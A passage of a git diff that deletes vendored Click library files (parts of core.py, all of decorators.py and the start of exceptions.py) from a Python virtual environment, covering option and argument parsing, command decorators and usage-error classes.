= decl - else: - split_char = ";" if decl[:1] == "/" else "/" - if split_char in decl: - first, second = decl.split(split_char, 1) - first = first.rstrip() - if first: - possible_names.append(_split_opt(first)) - opts.append(first) - second = second.lstrip() - if second: - secondary_opts.append(second.lstrip()) - if first == second: - raise ValueError( - _( - "Boolean option {decl!r} cannot use the" - " same flag for true/false." - ).format(decl=decl) - ) - else: - possible_names.append(_split_opt(decl)) - opts.append(decl) - - if name is None and possible_names: - possible_names.sort(key=lambda x: -len(x[0])) # group long options first - name = possible_names[0][1].replace("-", "_").lower() - if not name.isidentifier(): - name = None - - if name is None: - if not expose_value: - return "", opts, secondary_opts - raise TypeError( - _( - "Could not determine name for option with declarations {decls!r}" - ).format(decls=decls) - ) - - if not opts and not secondary_opts: - raise TypeError( - _( - "No options defined but a name was passed ({name})." - " Did you mean to declare an argument instead? Did" - " you mean to pass '--{name}'?" - ).format(name=name) - ) - - return name, opts, secondary_opts - - def add_to_parser(self, parser: _OptionParser, ctx: Context) -> None: - if self.multiple: - action = "append" - elif self.count: - action = "count" - else: - action = "store" - - if self.is_flag: - action = f"{action}_const" - - if self.is_bool_flag and self.secondary_opts: - parser.add_option( - obj=self, opts=self.opts, dest=self.name, action=action, const=True - ) - parser.add_option( - obj=self, - opts=self.secondary_opts, - dest=self.name, - action=action, - const=False, - ) - else: - parser.add_option( - obj=self, - opts=self.opts, - dest=self.name, - action=action, - const=self.flag_value, - ) - else: - parser.add_option( - obj=self, - opts=self.opts, - dest=self.name, - action=action, - nargs=self.nargs, - ) - - def get_help_record(self, ctx: Context) -> tuple[str, str] | None: - if self.hidden: - return None - - any_prefix_is_slash = False - - def _write_opts(opts: cabc.Sequence[str]) -> str: - nonlocal any_prefix_is_slash - - rv, any_slashes = join_options(opts) - - if any_slashes: - any_prefix_is_slash = True - - if not self.is_flag and not self.count: - rv += f" {self.make_metavar(ctx=ctx)}" - - return rv - - rv = [_write_opts(self.opts)] - - if self.secondary_opts: - rv.append(_write_opts(self.secondary_opts)) - - help = self.help or "" - - extra = self.get_help_extra(ctx) - extra_items = [] - if "envvars" in extra: - extra_items.append( - _("env var: {var}").format(var=", ".join(extra["envvars"])) - ) - if "default" in extra: - extra_items.append(_("default: {default}").format(default=extra["default"])) - if "range" in extra: - extra_items.append(extra["range"]) - if "required" in extra: - extra_items.append(_(extra["required"])) - - if extra_items: - extra_str = "; ".join(extra_items) - help = f"{help} [{extra_str}]" if help else f"[{extra_str}]" - - return ("; " if any_prefix_is_slash else " / ").join(rv), help - - def get_help_extra(self, ctx: Context) -> types.OptionHelpExtra: - extra: types.OptionHelpExtra = {} - - if self.show_envvar: - envvar = self.envvar - - if envvar is None: - if ( - self.allow_from_autoenv - and ctx.auto_envvar_prefix is not None - and self.name - ): - envvar = f"{ctx.auto_envvar_prefix}_{self.name.upper()}" - - if envvar is not None: - if isinstance(envvar, str): - extra["envvars"] = (envvar,) - else: - extra["envvars"] = tuple(str(d) for d in envvar) - - # Temporarily enable resilient parsing to avoid type casting - # failing for the default. Might be possible to extend this to - # help formatting in general. - resilient = ctx.resilient_parsing - ctx.resilient_parsing = True - - try: - default_value = self.get_default(ctx, call=False) - finally: - ctx.resilient_parsing = resilient - - show_default = False - show_default_is_str = False - - if self.show_default is not None: - if isinstance(self.show_default, str): - show_default_is_str = show_default = True - else: - show_default = self.show_default - elif ctx.show_default is not None: - show_default = ctx.show_default - - if show_default_is_str or ( - show_default and (default_value not in (None, UNSET)) - ): - if show_default_is_str: - default_string = f"({self.show_default})" - elif isinstance(default_value, (list, tuple)): - default_string = ", ".join(str(d) for d in default_value) - elif isinstance(default_value, enum.Enum): - default_string = default_value.name - elif inspect.isfunction(default_value): - default_string = _("(dynamic)") - elif self.is_bool_flag and self.secondary_opts: - # For boolean flags that have distinct True/False opts, - # use the opt without prefix instead of the value. - default_string = _split_opt( - (self.opts if default_value else self.secondary_opts)[0] - )[1] - elif self.is_bool_flag and not self.secondary_opts and not default_value: - default_string = "" - elif isinstance(default_value, str) and default_value == "": - default_string = '""' - else: - default_string = str(default_value) - - if default_string: - extra["default"] = default_string - - if ( - isinstance(self.type, types._NumberRangeBase) - # skip count with default range type - and not (self.count and self.type.min == 0 and self.type.max is None) - ): - range_str = self.type._describe_range() - - if range_str: - extra["range"] = range_str - - if self.required: - extra["required"] = "required" - - return extra - - def prompt_for_value(self, ctx: Context) -> t.Any: - """This is an alternative flow that can be activated in the full - value processing if a value does not exist. It will prompt the - user until a valid value exists and then returns the processed - value as result. - """ - assert self.prompt is not None - - # Calculate the default before prompting anything to lock in the value before - # attempting any user interaction. - default = self.get_default(ctx) - - # A boolean flag can use a simplified [y/n] confirmation prompt. - if self.is_bool_flag: - # If we have no boolean default, we force the user to explicitly provide - # one. - if default in (UNSET, None): - default = None - # Nothing prevent you to declare an option that is simultaneously: - # 1) auto-detected as a boolean flag, - # 2) allowed to prompt, and - # 3) still declare a non-boolean default. - # This forced casting into a boolean is necessary to align any non-boolean - # default to the prompt, which is going to be a [y/n]-style confirmation - # because the option is still a boolean flag. That way, instead of [y/n], - # we get [Y/n] or [y/N] depending on the truthy value of the default. - # Refs: https://github.com/pallets/click/pull/3030#discussion_r2289180249 - else: - default = bool(default) - return confirm(self.prompt, default) - - # If show_default is given, provide this to `prompt` as well, - # otherwise we use `prompt`'s default behavior - prompt_kwargs: t.Any = {} - if self.show_default is not None: - prompt_kwargs["show_default"] = self.show_default - - return prompt( - self.prompt, - # Use ``None`` to inform the prompt() function to reiterate until a valid - # value is provided by the user if we have no default. - default=None if default is UNSET else default, - type=self.type, - hide_input=self.hide_input, - show_choices=self.show_choices, - confirmation_prompt=self.confirmation_prompt, - value_proc=lambda x: self.process_value(ctx, x), - **prompt_kwargs, - ) - - def resolve_envvar_value(self, ctx: Context) -> str | None: - """:class:`Option` resolves its environment variable the same way as - :func:`Parameter.resolve_envvar_value`, but it also supports - :attr:`Context.auto_envvar_prefix`. If we could not find an environment from - the :attr:`envvar` property, we fallback on :attr:`Context.auto_envvar_prefix` - to build dynamiccaly the environment variable name using the - :python:`{ctx.auto_envvar_prefix}_{self.name.upper()}` template. - - :meta private: - """ - rv = super().resolve_envvar_value(ctx) - - if rv is not None: - return rv - - if self.allow_from_autoenv and ctx.auto_envvar_prefix is not None and self.name: - envvar = f"{ctx.auto_envvar_prefix}_{self.name.upper()}" - rv = os.environ.get(envvar) - - if rv: - return rv - - return None - - def value_from_envvar(self, ctx: Context) -> t.Any: - """For :class:`Option`, this method processes the raw environment variable - string the same way as :func:`Parameter.value_from_envvar` does. - - But in the case of non-boolean flags, the value is analyzed to determine if the - flag is activated or not, and returns a boolean of its activation, or the - :attr:`flag_value` if the latter is set. - - This method also takes care of repeated options (i.e. options with - :attr:`multiple` set to ``True``). - - :meta private: - """ - rv = self.resolve_envvar_value(ctx) - - # Absent environment variable or an empty string is interpreted as unset. - if rv is None: - return None - - # Non-boolean flags are more liberal in what they accept. But a flag being a - # flag, its envvar value still needs to be analyzed to determine if the flag is - # activated or not. - if self.is_flag and not self.is_bool_flag: - # If the flag_value is set and match the envvar value, return it - # directly. - if self.flag_value is not UNSET and rv == self.flag_value: - return self.flag_value - # Analyze the envvar value as a boolean to know if the flag is - # activated or not. - return types.BoolParamType.str_to_bool(rv) - - # Split the envvar value if it is allowed to be repeated. - value_depth = (self.nargs != 1) + bool(self.multiple) - if value_depth > 0: - multi_rv = self.type.split_envvar_value(rv) - if self.multiple and self.nargs != 1: - multi_rv = batch(multi_rv, self.nargs) # type: ignore[assignment] - - return multi_rv - - return rv - - def consume_value( - self, ctx: Context, opts: cabc.Mapping[str, Parameter] - ) -> tuple[t.Any, ParameterSource]: - """For :class:`Option`, the value can be collected from an interactive prompt - if the option is a flag that needs a value (and the :attr:`prompt` property is - set). - - Additionally, this method handles flag option that are activated without a - value, in which case the :attr:`flag_value` is returned. - - :meta private: - """ - value, source = super().consume_value(ctx, opts) - - # The parser will emit a sentinel value if the option is allowed to as a flag - # without a value. - if value is FLAG_NEEDS_VALUE: - # If the option allows for a prompt, we start an interaction with the user. - if self.prompt is not None and not ctx.resilient_parsing: - value = self.prompt_for_value(ctx) - source = ParameterSource.PROMPT - # Else the flag takes its flag_value as value. - else: - value = self.flag_value - source = ParameterSource.COMMANDLINE - - # A flag which is activated always returns the flag value, unless the value - # comes from the explicitly sets default. - elif ( - self.is_flag - and value is True - and not self.is_bool_flag - and source < ParameterSource.DEFAULT_MAP - ): - value = self.flag_value - - # Re-interpret a multiple option which has been sent as-is by the parser. - # Here we replace each occurrence of value-less flags (marked by the - # FLAG_NEEDS_VALUE sentinel) with the flag_value. - elif ( - self.multiple - and value is not UNSET - and isinstance(value, cabc.Iterable) - and source < ParameterSource.DEFAULT_MAP - and any(v is FLAG_NEEDS_VALUE for v in value) - ): - value = [self.flag_value if v is FLAG_NEEDS_VALUE else v for v in value] - source = ParameterSource.COMMANDLINE - - # The value wasn't set, or used the param's default, prompt for one to the user - # if prompting is enabled. - elif ( - (value is UNSET or source >= ParameterSource.DEFAULT_MAP) - and self.prompt is not None - and (self.required or self.prompt_required) - and not ctx.resilient_parsing - ): - value = self.prompt_for_value(ctx) - source = ParameterSource.PROMPT - - return value, source - - def process_value(self, ctx: Context, value: t.Any) -> t.Any: - # process_value has to be overridden on Options in order to capture - # `value == UNSET` cases before `type_cast_value()` gets called. - # - # Refs: - # https://github.com/pallets/click/issues/3069 - if self.is_flag and not self.required and self.is_bool_flag and value is UNSET: - value = False - - if self.callback is not None: - value = self.callback(ctx, self, value) - - return value - - # in the normal case, rely on Parameter.process_value - return super().process_value(ctx, value) - - -class Argument(Parameter): - """Arguments are positional parameters to a command. They generally - provide fewer features than options but can have infinite ``nargs`` - and are required by default. - - All parameters are passed onwards to the constructor of :class:`Parameter`. - """ - - param_type_name = "argument" - - def __init__( - self, - param_decls: cabc.Sequence[str], - required: bool | None = None, - **attrs: t.Any, - ) -> None: - # Auto-detect the requirement status of the argument if not explicitly set. - if required is None: - # The argument gets automatically required if it has no explicit default - # value set and is setup to match at least one value. - if attrs.get("default", UNSET) is UNSET: - required = attrs.get("nargs", 1) > 0 - # If the argument has a default value, it is not required. - else: - required = False - - if "multiple" in attrs: - raise TypeError("__init__() got an unexpected keyword argument 'multiple'.") - - super().__init__(param_decls, required=required, **attrs) - - @property - def human_readable_name(self) -> str: - if self.metavar is not None: - return self.metavar - return self.name.upper() - - def make_metavar(self, ctx: Context) -> str: - if self.metavar is not None: - return self.metavar - var = self.type.get_metavar(param=self, ctx=ctx) - if not var: - var = self.name.upper() - # Types like ``Choice`` and ``DateTime`` already surround their metavar - # with square brackets to enumerate the allowed values. Reuse those - # outer brackets as the optional-argument indicator instead of wrapping - # the metavar in a second pair, which would produce ``[[a|b|c]]``. - already_bracketed = var.startswith("[") and var.endswith("]") - if self.deprecated: - var += "!" - if not self.required and not already_bracketed: - var = f"[{var}]" - if self.nargs != 1: - var += "..." - return var - - def _parse_decls( - self, decls: cabc.Sequence[str], expose_value: bool - ) -> tuple[str, list[str], list[str]]: - if not decls: - if not expose_value: - return "", [], [] - raise TypeError("Argument is marked as exposed, but does not have a name.") - if len(decls) == 1: - name = arg = decls[0] - name = name.replace("-", "_").lower() - else: - raise TypeError( - _( - "Arguments take exactly one parameter declaration, got" - " {length}: {decls}." - ).format(length=len(decls), decls=decls) - ) - return name, [arg], [] - - def get_usage_pieces(self, ctx: Context) -> list[str]: - return [self.make_metavar(ctx)] - - def get_error_hint(self, ctx: Context | None) -> str: - if ctx is not None: - return f"'{self.make_metavar(ctx)}'" - return f"'{self.human_readable_name}'" - - def add_to_parser(self, parser: _OptionParser, ctx: Context) -> None: - parser.add_argument(dest=self.name, nargs=self.nargs, obj=self) - - -def __getattr__(name: str) -> object: - import warnings - - if name == "BaseCommand": - warnings.warn( - "'BaseCommand' is deprecated and will be removed in Click 9.0. Use" - " 'Command' instead.", - DeprecationWarning, - stacklevel=2, - ) - return _BaseCommand - - if name == "MultiCommand": - warnings.warn( - "'MultiCommand' is deprecated and will be removed in Click 9.0. Use" - " 'Group' instead.", - DeprecationWarning, - stacklevel=2, - ) - return _MultiCommand - - raise AttributeError(name) diff --git a/venv/Lib/site-packages/click/decorators.py b/venv/Lib/site-packages/click/decorators.py deleted file mode 100644 index db6a45ebbaedfdcde339397bbfe936c9440de180..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/decorators.py +++ /dev/null @@ -1,575 +0,0 @@ -from __future__ import annotations - -import inspect -import typing as t -from functools import update_wrapper -from gettext import gettext as _ - -from .core import Argument -from .core import Command -from .core import Context -from .core import Group -from .core import Option -from .core import Parameter -from .globals import get_current_context -from .utils import echo - -if t.TYPE_CHECKING: - import typing_extensions as te - - P = te.ParamSpec("P") - -R = t.TypeVar("R") -T = t.TypeVar("T") -_AnyCallable = t.Callable[..., t.Any] -FC = t.TypeVar("FC", bound="_AnyCallable | Command") - - -def pass_context(f: t.Callable[te.Concatenate[Context, P], R]) -> t.Callable[P, R]: - """Marks a callback as wanting to receive the current context - object as first argument. - """ - - def new_func(*args: P.args, **kwargs: P.kwargs) -> R: - return f(get_current_context(), *args, **kwargs) - - return update_wrapper(new_func, f) - - -def pass_obj(f: t.Callable[te.Concatenate[T, P], R]) -> t.Callable[P, R]: - """Similar to :func:`pass_context`, but only pass the object on the - context onwards (:attr:`Context.obj`). This is useful if that object - represents the state of a nested system. - """ - - def new_func(*args: P.args, **kwargs: P.kwargs) -> R: - return f(get_current_context().obj, *args, **kwargs) - - return update_wrapper(new_func, f) - - -def make_pass_decorator( - object_type: type[T], ensure: bool = False -) -> t.Callable[[t.Callable[te.Concatenate[T, P], R]], t.Callable[P, R]]: - """Given an object type this creates a decorator that will work - similar to :func:`pass_obj` but instead of passing the object of the - current context, it will find the innermost context of type - :func:`object_type`. - - This generates a decorator that works roughly like this:: - - from functools import update_wrapper - - def decorator(f): - @pass_context - def new_func(ctx, *args, **kwargs): - obj = ctx.find_object(object_type) - return ctx.invoke(f, obj, *args, **kwargs) - return update_wrapper(new_func, f) - return decorator - - :param object_type: the type of the object to pass. - :param ensure: if set to `True`, a new object will be created and - remembered on the context if it's not there yet. - """ - - def decorator(f: t.Callable[te.Concatenate[T, P], R]) -> t.Callable[P, R]: - def new_func(*args: P.args, **kwargs: P.kwargs) -> R: - ctx = get_current_context() - - obj: T | None - if ensure: - obj = ctx.ensure_object(object_type) - else: - obj = ctx.find_object(object_type) - - if obj is None: - raise RuntimeError( - "Managed to invoke callback without a context" - f" object of type {object_type.__name__!r}" - " existing." - ) - - return ctx.invoke(f, obj, *args, **kwargs) - - return update_wrapper(new_func, f) - - return decorator - - -def pass_meta_key( - key: str, *, doc_description: str | None = None -) -> t.Callable[[t.Callable[te.Concatenate[T, P], R]], t.Callable[P, R]]: - """Create a decorator that passes a key from - :attr:`click.Context.meta` as the first argument to the decorated - function. - - :param key: Key in ``Context.meta`` to pass. - :param doc_description: Description of the object being passed, - inserted into the decorator's docstring. Defaults to "the 'key' - key from Context.meta". - - .. versionadded:: 8.0 - """ - - def decorator(f: t.Callable[te.Concatenate[T, P], R]) -> t.Callable[P, R]: - def new_func(*args: P.args, **kwargs: P.kwargs) -> R: - ctx = get_current_context() - obj = ctx.meta[key] - return ctx.invoke(f, obj, *args, **kwargs) - - return update_wrapper(new_func, f) - - if doc_description is None: - doc_description = f"the {key!r} key from :attr:`click.Context.meta`" - - decorator.__doc__ = ( - f"Decorator that passes {doc_description} as the first argument" - " to the decorated function." - ) - return decorator - - -CmdType = t.TypeVar("CmdType", bound=Command) - - -# variant: no call, directly as decorator for a function. -@t.overload -def command(name: _AnyCallable) -> Command: ... - - -# variant: with positional name and with positional or keyword cls argument: -# @command(namearg, CommandCls, ...) or @command(namearg, cls=CommandCls, ...) -@t.overload -def command( - name: str | None, - cls: type[CmdType], - **attrs: t.Any, -) -> t.Callable[[_AnyCallable], CmdType]: ... - - -# variant: name omitted, cls _must_ be a keyword argument, @command(cls=CommandCls, ...) -@t.overload -def command( - name: None = None, - *, - cls: type[CmdType], - **attrs: t.Any, -) -> t.Callable[[_AnyCallable], CmdType]: ... - - -# variant: with optional string name, no cls argument provided. -@t.overload -def command( - name: str | None = ..., cls: None = None, **attrs: t.Any -) -> t.Callable[[_AnyCallable], Command]: ... - - -def command( - name: str | _AnyCallable | None = None, - cls: type[CmdType] | None = None, - **attrs: t.Any, -) -> Command | t.Callable[[_AnyCallable], Command | CmdType]: - r"""Creates a new :class:`Command` and uses the decorated function as - callback. This will also automatically attach all decorated - :func:`option`\s and :func:`argument`\s as parameters to the command. - - The name of the command defaults to the name of the function, converted to - lowercase, with underscores ``_`` replaced by dashes ``-``, and the suffixes - ``_command``, ``_cmd``, ``_group``, and ``_grp`` are removed. For example, - ``init_data_command`` becomes ``init-data``. - - All keyword arguments are forwarded to the underlying command class. - For the ``params`` argument, any decorated params are appended to - the end of the list. - - Once decorated the function turns into a :class:`Command` instance - that can be invoked as a command line utility or be attached to a - command :class:`Group`. - - :param name: The name of the command. Defaults to modifying the function's - name as described above. - :param cls: The command class to create. Defaults to :class:`Command`. - - .. versionchanged:: 8.2 - The suffixes ``_command``, ``_cmd``, ``_group``, and ``_grp`` are - removed when generating the name. - - .. versionchanged:: 8.1 - This decorator can be applied without parentheses. - - .. versionchanged:: 8.1 - The ``params`` argument can be used. Decorated params are - appended to the end of the list. - """ - - func: t.Callable[[_AnyCallable], t.Any] | None = None - - if callable(name): - func = name - name = None - assert cls is None, "Use 'command(cls=cls)(callable)' to specify a class." - assert not attrs, "Use 'command(**kwargs)(callable)' to provide arguments." - - if cls is None: - cls = t.cast("type[CmdType]", Command) - - def decorator(f: _AnyCallable) -> CmdType: - if isinstance(f, Command): - raise TypeError("Attempted to convert a callback into a command twice.") - - attr_params = attrs.pop("params", None) - params = attr_params if attr_params is not None else [] - - try: - decorator_params = f.__click_params__ # type: ignore - except AttributeError: - pass - else: - del f.__click_params__ # type: ignore - params.extend(reversed(decorator_params)) - - if attrs.get("help") is None: - attrs["help"] = f.__doc__ - - if t.TYPE_CHECKING: - assert cls is not None - assert not callable(name) - - if name is not None: - cmd_name = name - else: - cmd_name = f.__name__.lower().replace("_", "-") - cmd_left, sep, suffix = cmd_name.rpartition("-") - - if sep and suffix in {"command", "cmd", "group", "grp"}: - cmd_name = cmd_left - - cmd = cls(name=cmd_name, callback=f, params=params, **attrs) - cmd.__doc__ = f.__doc__ - return cmd - - if func is not None: - return decorator(func) - - return decorator - - -GrpType = t.TypeVar("GrpType", bound=Group) - - -# variant: no call, directly as decorator for a function. -@t.overload -def group(name: _AnyCallable) -> Group: ... - - -# variant: with positional name and with positional or keyword cls argument: -# @group(namearg, GroupCls, ...) or @group(namearg, cls=GroupCls, ...) -@t.overload -def group( - name: str | None, - cls: type[GrpType], - **attrs: t.Any, -) -> t.Callable[[_AnyCallable], GrpType]: ... - - -# variant: name omitted, cls _must_ be a keyword argument, @group(cmd=GroupCls, ...) -@t.overload -def group( - name: None = None, - *, - cls: type[GrpType], - **attrs: t.Any, -) -> t.Callable[[_AnyCallable], GrpType]: ... - - -# variant: with optional string name, no cls argument provided. -@t.overload -def group( - name: str | None = ..., cls: None = None, **attrs: t.Any -) -> t.Callable[[_AnyCallable], Group]: ... - - -def group( - name: str | _AnyCallable | None = None, - cls: type[GrpType] | None = None, - **attrs: t.Any, -) -> Group | t.Callable[[_AnyCallable], Group | GrpType]: - """Creates a new :class:`Group` with a function as callback. This - works otherwise the same as :func:`command` just that the `cls` - parameter is set to :class:`Group`. - - .. versionchanged:: 8.1 - This decorator can be applied without parentheses. - """ - if cls is None: - cls = t.cast("type[GrpType]", Group) - - if callable(name): - return command(cls=cls, **attrs)(name) - - return command(name, cls, **attrs) - - -def _param_memo(f: t.Callable[..., t.Any], param: Parameter) -> None: - if isinstance(f, Command): - f.params.append(param) - else: - if not hasattr(f, "__click_params__"): - f.__click_params__ = [] # type: ignore - - f.__click_params__.append(param) # type: ignore - - -def argument( - *param_decls: str, cls: type[Argument] | None = None, **attrs: t.Any -) -> t.Callable[[FC], FC]: - """Attaches an argument to the command. All positional arguments are - passed as parameter declarations to :class:`Argument`; all keyword - arguments are forwarded unchanged (except ``cls``). - This is equivalent to creating an :class:`Argument` instance manually - and attaching it to the :attr:`Command.params` list. - - For the default argument class, refer to :class:`Argument` and - :class:`Parameter` for descriptions of parameters. - - :param cls: the argument class to instantiate. This defaults to - :class:`Argument`. - :param param_decls: Passed as positional arguments to the constructor of - ``cls``. - :param attrs: Passed as keyword arguments to the constructor of ``cls``. - """ - if cls is None: - cls = Argument - - def decorator(f: FC) -> FC: - _param_memo(f, cls(param_decls, **attrs)) - return f - - return decorator - - -def option( - *param_decls: str, cls: type[Option] | None = None, **attrs: t.Any -) -> t.Callable[[FC], FC]: - """Attaches an option to the command. All positional arguments are - passed as parameter declarations to :class:`Option`; all keyword - arguments are forwarded unchanged (except ``cls``). - This is equivalent to creating an :class:`Option` instance manually - and attaching it to the :attr:`Command.params` list. - - For the default option class, refer to :class:`Option` and - :class:`Parameter` for descriptions of parameters. - - :param cls: the option class to instantiate. This defaults to - :class:`Option`. - :param param_decls: Passed as positional arguments to the constructor of - ``cls``. - :param attrs: Passed as keyword arguments to the constructor of ``cls``. - """ - if cls is None: - cls = Option - - def decorator(f: FC) -> FC: - _param_memo(f, cls(param_decls, **attrs)) - return f - - return decorator - - -def confirmation_option(*param_decls: str, **kwargs: t.Any) -> t.Callable[[FC], FC]: - """Add a ``--yes`` option which shows a prompt before continuing if - not passed. If the prompt is declined, the program will exit. - - :param param_decls: One or more option names. Defaults to the single - value ``"--yes"``. - :param kwargs: Extra arguments are passed to :func:`option`. - """ - - def callback(ctx: Context, param: Parameter, value: bool) -> None: - if not value: - ctx.abort() - - if not param_decls: - param_decls = ("--yes",) - - kwargs.setdefault("is_flag", True) - kwargs.setdefault("callback", callback) - kwargs.setdefault("expose_value", False) - kwargs.setdefault("prompt", _("Do you want to continue?")) - kwargs.setdefault("help", _("Confirm the action without prompting.")) - return option(*param_decls, **kwargs) - - -def password_option(*param_decls: str, **kwargs: t.Any) -> t.Callable[[FC], FC]: - """Add a ``--password`` option which prompts for a password, hiding - input and asking to enter the value again for confirmation. - - :param param_decls: One or more option names. Defaults to the single - value ``"--password"``. - :param kwargs: Extra arguments are passed to :func:`option`. - """ - if not param_decls: - param_decls = ("--password",) - - kwargs.setdefault("prompt", True) - kwargs.setdefault("confirmation_prompt", True) - kwargs.setdefault("hide_input", True) - return option(*param_decls, **kwargs) - - -def version_option( - version: str | None = None, - *param_decls: str, - package_name: str | None = None, - prog_name: str | None = None, - message: str | None = None, - **kwargs: t.Any, -) -> t.Callable[[FC], FC]: - """Add a ``--version`` option which immediately prints the version - number and exits the program. - - If ``version`` is not provided, Click will try to detect it using - :func:`importlib.metadata.version` to get the version for the - ``package_name``. - - If ``package_name`` is not provided, Click will try to detect it by - inspecting the stack frames. If the detected (or given) name does - not match an installed distribution, Click resolves it as an import - (top-level module) name via - :func:`importlib.metadata.packages_distributions`, so e.g. ``PIL`` - resolves to the ``Pillow`` distribution. - - :param version: The version number to show. If not provided, Click - will try to detect it. - :param param_decls: One or more option names. Defaults to the single - value ``"--version"``. - :param package_name: The package name to detect the version from. If - not provided, Click will try to detect it. - :param prog_name: The name of the CLI to show in the message. If not - provided, it will be detected from the command. - :param message: The message to show. The values ``%(prog)s``, - ``%(package)s``, and ``%(version)s`` are available. Defaults to - ``"%(prog)s, version %(version)s"``. - :param kwargs: Extra arguments are passed to :func:`option`. - :raise RuntimeError: ``version`` could not be detected. - - .. versionchanged:: 8.0 - Add the ``package_name`` parameter, and the ``%(package)s`` - value for messages. - - .. versionchanged:: 8.0 - Use :mod:`importlib.metadata` instead of ``pkg_resources``. The - version is detected based on the package name, not the entry - point name. The Python package name must match the installed - package name, or be passed with ``package_name=``. - - .. versionchanged:: 8.4.2 - When ``package_name`` does not match an installed distribution, - Click now resolves it as an import (top-level module). - """ - if message is None: - message = _("%(prog)s, version %(version)s") - - if version is None and package_name is None: - frame = inspect.currentframe() - f_back = frame.f_back if frame is not None else None - f_globals = f_back.f_globals if f_back is not None else None - # break reference cycle - # https://docs.python.org/3/library/inspect.html#the-interpreter-stack - del frame - - if f_globals is not None: - package_name = f_globals.get("__name__") - - if package_name == "__main__": - package_name = f_globals.get("__package__") - - if package_name: - package_name = package_name.partition(".")[0] - - def callback(ctx: Context, param: Parameter, value: bool) -> None: - if not value or ctx.resilient_parsing: - return - - nonlocal prog_name - nonlocal version - nonlocal package_name - - if prog_name is None: - prog_name = ctx.find_root().info_name - - if version is None and package_name is not None: - import importlib.metadata - - try: - version = importlib.metadata.version(package_name) - except importlib.metadata.PackageNotFoundError: - # The given name didn't match an installed distribution. - # Try resolving it as an import (top-level module) name, - # e.g. ``PIL`` is provided by the ``Pillow`` distribution. - distributions = importlib.metadata.packages_distributions().get( - package_name, [] - ) - if len(distributions) == 1: - package_name = distributions[0] - version = importlib.metadata.version(package_name) - elif len(distributions) > 1: - raise RuntimeError( - f"{package_name!r} maps to multiple installed" - f" distributions ({', '.join(distributions)})." - " Pass 'package_name' to disambiguate." - ) from None - else: - raise RuntimeError( - f"{package_name!r} is not installed. Try passing" - " 'package_name' instead." - ) from None - - if version is None: - raise RuntimeError( - f"Could not determine the version for {package_name!r} automatically." - ) - - echo( - message % {"prog": prog_name, "package": package_name, "version": version}, - color=ctx.color, - ) - ctx.exit() - - if not param_decls: - param_decls = ("--version",) - - kwargs.setdefault("is_flag", True) - kwargs.setdefault("expose_value", False) - kwargs.setdefault("is_eager", True) - kwargs.setdefault("help", _("Show the version and exit.")) - kwargs["callback"] = callback - return option(*param_decls, **kwargs) - - -def help_option(*param_decls: str, **kwargs: t.Any) -> t.Callable[[FC], FC]: - """Pre-configured ``--help`` option which immediately prints the help page - and exits the program. - - :param param_decls: One or more option names. Defaults to the single - value ``"--help"``. - :param kwargs: Extra arguments are passed to :func:`option`. - """ - - def show_help(ctx: Context, param: Parameter, value: bool) -> None: - """Callback that print the help page on ```` and exits.""" - if value and not ctx.resilient_parsing: - echo(ctx.get_help(), color=ctx.color) - ctx.exit() - - if not param_decls: - param_decls = ("--help",) - - kwargs.setdefault("is_flag", True) - kwargs.setdefault("expose_value", False) - kwargs.setdefault("is_eager", True) - kwargs.setdefault("help", _("Show this message and exit.")) - kwargs.setdefault("callback", show_help) - - return option(*param_decls, **kwargs) diff --git a/venv/Lib/site-packages/click/exceptions.py b/venv/Lib/site-packages/click/exceptions.py deleted file mode 100644 index 6272c38a448d57241d9a6bff4191897f4a9bb7d6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/click/exceptions.py +++ /dev/null @@ -1,378 +0,0 @@ -from __future__ import annotations - -import collections.abc as cabc -import typing as t -from gettext import gettext as _ -from gettext import ngettext - -from ._compat import get_text_stderr -from .globals import resolve_color_default -from .utils import echo -from .utils import format_filename - -if t.TYPE_CHECKING: - from .core import Command - from .core import Context - from .core import Parameter - - -def _join_param_hints(param_hint: cabc.Sequence[str] | str | None) -> str | None: - if param_hint is not None and not isinstance(param_hint, str): - return " / ".join(repr(x) for x in param_hint) - - return param_hint - - -def _format_possibilities(possibilities: list[str]) -> str: - possibility_str = ", ".join(repr(p) for p in sorted(possibilities)) - return ngettext( - "Did you mean {possibility}?", - "(Did you mean one of: {possibilities}?)", - len(possibilities), - ).format(possibility=possibility_str, possibilities=possibility_str) - - -class ClickException(Exception): - """An exception that Click can handle and show to the user.""" - - #: The exit code for this exception. - exit_code: t.ClassVar[int] = 1 - - show_color: t.Final[bool | None] - message: t.Final[str] - - def __init__(self, message: str) -> None: - super().__init__(message) - # The context will be removed by the time we print the message, so cache - # the color settings here to be used later on (in `show`) - self.show_color = resolve_color_default() - self.message = message - - def format_message(self) -> str: - return self.message - - def __str__(self) -> str: - return self.message - - def show(self, file: t.IO[t.Any] | None = None) -> None: - if file is None: - file = get_text_stderr() - - echo( - _("Error: {message}").format(message=self.format_message()), - file=file, - color=self.show_color, - ) - - -class UsageError(ClickException): - """An internal exception that signals a usage error. This typically - aborts any further handling. - - :param message: the error message to display. - :param ctx: optionally the context that caused this error. Click will - fill in the context automatically in some situations. - """ - - exit_code: t.ClassVar[int] = 2 - - ctx: Context | None - cmd: t.Final[Command | None] - - def __init__(self, message: str, ctx: Context | None = None) -> None: - super().__init__(message) - self.ctx = ctx - self.cmd = self.ctx.command if self.ctx else None - - def show(self, file: t.IO[t.Any] | None = None) -> None: - if file is None: - file = get_text_stderr() - color = None - hint = "" - if ( - self.ctx is not None - and self.ctx.command.get_help_option(self.ctx) is not None - ): - help_names = self.ctx.command.get_help_option_names(self.ctx) - # Pick the longest name (like ``--help`` over ``-h``) for - # readability in error messages. - hint = _("Try '{command} {option}' for help.").format( - command=self.ctx.command_path, - option=max(help_names, key=len), - ) - hint = f"{hint}\n" - if self.ctx is not None: - color = self.ctx.color - echo(f"{self.ctx.get_usage()}\n{hint}", file=file, color=color) - echo( - _("Error: {message}").format(message=self.format_message()), - file=file, - color=color, - ) - - -class BadParameter(UsageError): - """An exception that formats out a standardized error message for a - bad parameter. This is useful when thrown from a callback or type as - Click will attach contextual information to it (for instance, which - parameter it is). - - .. versionadded:: 2.0 - - :param param: the parameter object that caused this error. This can - be left out, and Click will attach this info itself - if possible. - :param param_hint: a string that shows up as parameter name. This - can be used as alternative to `param` in cases - where custom validation should happen. If it is - a string it's used as such, if it's a list then - each item is quoted and separated. - """ - - param: Parameter | None - param_hint: cabc.Sequence[str] | str | None - - def __init__( - self, - message: str, - ctx: Context | None = None, - param: Parameter | None = None, - param_hint: cabc.Sequence[str] | str | None = None, - ) -> None: - super().__init__(message, ctx) 